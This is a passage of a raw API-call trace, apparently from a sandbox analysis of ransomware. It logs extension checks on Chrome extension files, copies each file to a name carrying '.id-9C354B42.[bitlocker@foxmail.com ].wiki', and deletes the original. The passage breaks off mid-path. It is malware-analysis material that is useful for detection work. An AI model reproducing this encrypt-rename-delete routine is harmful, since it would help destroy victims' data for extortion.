lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.569] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json") returned 154 [0180.569] lstrlenW (lpString=".zip") returned 4 [0180.569] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.569] lstrlenW (lpString=".rar") returned 4 [0180.569] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.569] lstrlenW (lpString=".bz2") returned 4 [0180.569] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.569] lstrlenW (lpString=".7z") returned 3 [0180.569] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.569] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json") returned 154 [0180.569] lstrlenW (lpString=".dbf") returned 4 [0180.569] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.569] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json") returned 154 [0180.569] lstrlenW (lpString=".1cd") returned 4 [0180.569] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.569] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json") returned 154 [0180.569] lstrlenW (lpString=".jpg") returned 4 [0180.569] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.569] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.569] lstrlenW (lpString="messages.json") returned 13 [0180.569] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.571] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=249) returned 1 [0180.572] CloseHandle (hObject=0x158) returned 1 [0180.572] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\messages.json")) returned 0x2020 [0180.572] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.572] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.572] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.572] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.572] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0180.573] GetLastError () returned 0x0 [0180.573] ReadFile (in: hFile=0x158, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xf9, lpOverlapped=0x0) returned 1 [0180.574] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x100, lpOverlapped=0x0) returned 1 [0180.574] ReadFile (in: hFile=0x158, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.574] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.575] SetEndOfFile (hFile=0x19c) returned 1 [0180.575] CloseHandle (hObject=0x19c) returned 1 [0180.575] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.575] SetEndOfFile (hFile=0x158) returned 1 [0180.576] CloseHandle (hObject=0x158) returned 1 [0180.576] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.576] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\messages.json")) returned 1 [0180.576] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json") returned 154 [0180.576] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json") returned 154 [0180.576] lstrlenW (lpString=".doc") returned 4 [0180.576] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.576] lstrlenW (lpString=".docx") returned 5 [0180.576] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.576] lstrlenW (lpString=".pdf") returned 4 [0180.576] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.576] lstrlenW (lpString=".xls") returned 4 [0180.576] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.576] lstrlenW (lpString=".xlsx") returned 5 [0180.576] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.576] lstrlenW (lpString=".ppt") returned 4 [0180.576] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.576] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json") returned 154 [0180.576] lstrlenW (lpString=".zip") returned 4 [0180.577] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.577] lstrlenW (lpString=".rar") returned 4 [0180.577] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.577] lstrlenW (lpString=".bz2") returned 4 [0180.577] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.577] lstrlenW (lpString=".7z") returned 3 [0180.577] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.577] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json") returned 154 [0180.577] lstrlenW (lpString=".dbf") returned 4 [0180.577] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.577] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json") returned 154 [0180.577] lstrlenW (lpString=".1cd") returned 4 [0180.577] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.577] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json") returned 154 [0180.577] lstrlenW (lpString=".jpg") returned 4 [0180.577] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.577] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json") returned 154 [0180.577] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json") returned 154 [0180.577] lstrlenW (lpString=".doc") returned 4 [0180.577] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.577] lstrlenW (lpString=".docx") returned 5 [0180.577] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.577] lstrlenW (lpString=".pdf") returned 4 [0180.577] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.577] lstrlenW (lpString=".xls") returned 4 [0180.577] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.577] lstrlenW (lpString=".xlsx") returned 5 [0180.577] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.577] lstrlenW (lpString=".ppt") returned 4 [0180.578] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.578] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json") returned 154 [0180.578] lstrlenW (lpString=".zip") returned 4 [0180.578] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.578] lstrlenW (lpString=".rar") returned 4 [0180.578] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.578] lstrlenW (lpString=".bz2") returned 4 [0180.578] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.578] lstrlenW (lpString=".7z") returned 3 [0180.578] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.578] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json") returned 154 [0180.578] lstrlenW (lpString=".dbf") returned 4 [0180.578] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.578] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json") returned 154 [0180.578] lstrlenW (lpString=".1cd") returned 4 [0180.578] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.578] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json") returned 154 [0180.578] lstrlenW (lpString=".jpg") returned 4 [0180.578] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.578] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.578] lstrlenW (lpString="verified_contents.json") returned 22 [0180.578] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0181.330] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=9862) returned 1 [0181.330] CloseHandle (hObject=0x160) returned 1 [0181.330] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json")) returned 0x2020 [0181.330] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.330] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0181.330] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.331] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.331] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0181.573] GetLastError () returned 0x0 [0181.573] ReadFile (in: hFile=0x160, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x2686, lpOverlapped=0x0) returned 1 [0181.575] WriteFile (in: hFile=0x198, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x2690, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x2690, lpOverlapped=0x0) returned 1 [0181.576] ReadFile (in: hFile=0x160, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0181.576] WriteFile (in: hFile=0x198, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x100, lpOverlapped=0x0) returned 1 [0181.576] SetEndOfFile (hFile=0x198) returned 1 [0181.576] CloseHandle (hObject=0x198) returned 1 [0181.576] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.576] SetEndOfFile (hFile=0x160) returned 1 [0181.577] CloseHandle (hObject=0x160) returned 1 [0181.577] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.577] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json")) returned 1 [0181.578] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json") returned 158 [0181.578] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json") returned 158 [0181.578] lstrlenW (lpString=".doc") returned 4 [0181.578] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0181.578] lstrlenW (lpString=".docx") returned 5 [0181.578] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0181.578] lstrlenW (lpString=".pdf") returned 4 [0181.578] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0181.578] lstrlenW (lpString=".xls") returned 4 [0181.578] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0181.578] lstrlenW (lpString=".xlsx") returned 5 [0181.578] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0181.578] lstrlenW (lpString=".ppt") returned 4 [0181.578] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0181.578] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json") returned 158 [0181.578] lstrlenW (lpString=".zip") returned 4 [0181.578] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0181.578] lstrlenW (lpString=".rar") returned 4 [0181.578] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0181.578] lstrlenW (lpString=".bz2") returned 4 [0181.578] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0181.578] lstrlenW (lpString=".7z") returned 3 [0181.578] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0181.578] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json") returned 158 [0181.578] lstrlenW (lpString=".dbf") returned 4 [0181.578] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0181.578] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json") returned 158 [0181.578] lstrlenW (lpString=".1cd") returned 4 [0181.578] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0181.578] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json") returned 158 [0181.578] lstrlenW (lpString=".jpg") returned 4 [0181.578] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0181.579] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json") returned 158 [0181.579] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json") returned 158 [0181.579] lstrlenW (lpString=".doc") returned 4 [0181.579] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0181.579] lstrlenW (lpString=".docx") returned 5 [0181.579] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0181.579] lstrlenW (lpString=".pdf") returned 4 [0181.579] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0181.579] lstrlenW (lpString=".xls") returned 4 [0181.579] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0181.579] lstrlenW (lpString=".xlsx") returned 5 [0181.579] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0181.579] lstrlenW (lpString=".ppt") returned 4 [0181.579] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0181.579] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json") returned 158 [0181.579] lstrlenW (lpString=".zip") returned 4 [0181.579] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0181.579] lstrlenW (lpString=".rar") returned 4 [0181.579] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0181.579] lstrlenW (lpString=".bz2") returned 4 [0181.579] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0181.579] lstrlenW (lpString=".7z") returned 3 [0181.579] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0181.579] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json") returned 158 [0181.579] lstrlenW (lpString=".dbf") returned 4 [0181.579] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0181.579] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json") returned 158 [0181.579] lstrlenW (lpString=".1cd") returned 4 [0181.579] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0181.579] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json") returned 158 [0181.579] lstrlenW (lpString=".jpg") returned 4 [0181.579] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0181.580] lstrcmpiW (lpString1=".css", lpString2=".wiki") returned -1 [0181.580] lstrlenW (lpString="feedback.css") returned 12 [0181.580] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0181.875] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3110) returned 1 [0181.875] CloseHandle (hObject=0x19c) returned 1 [0181.875] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css")) returned 0x2020 [0181.875] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.876] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css" (normalized: "c:\\users\\5p5nrgjn0js 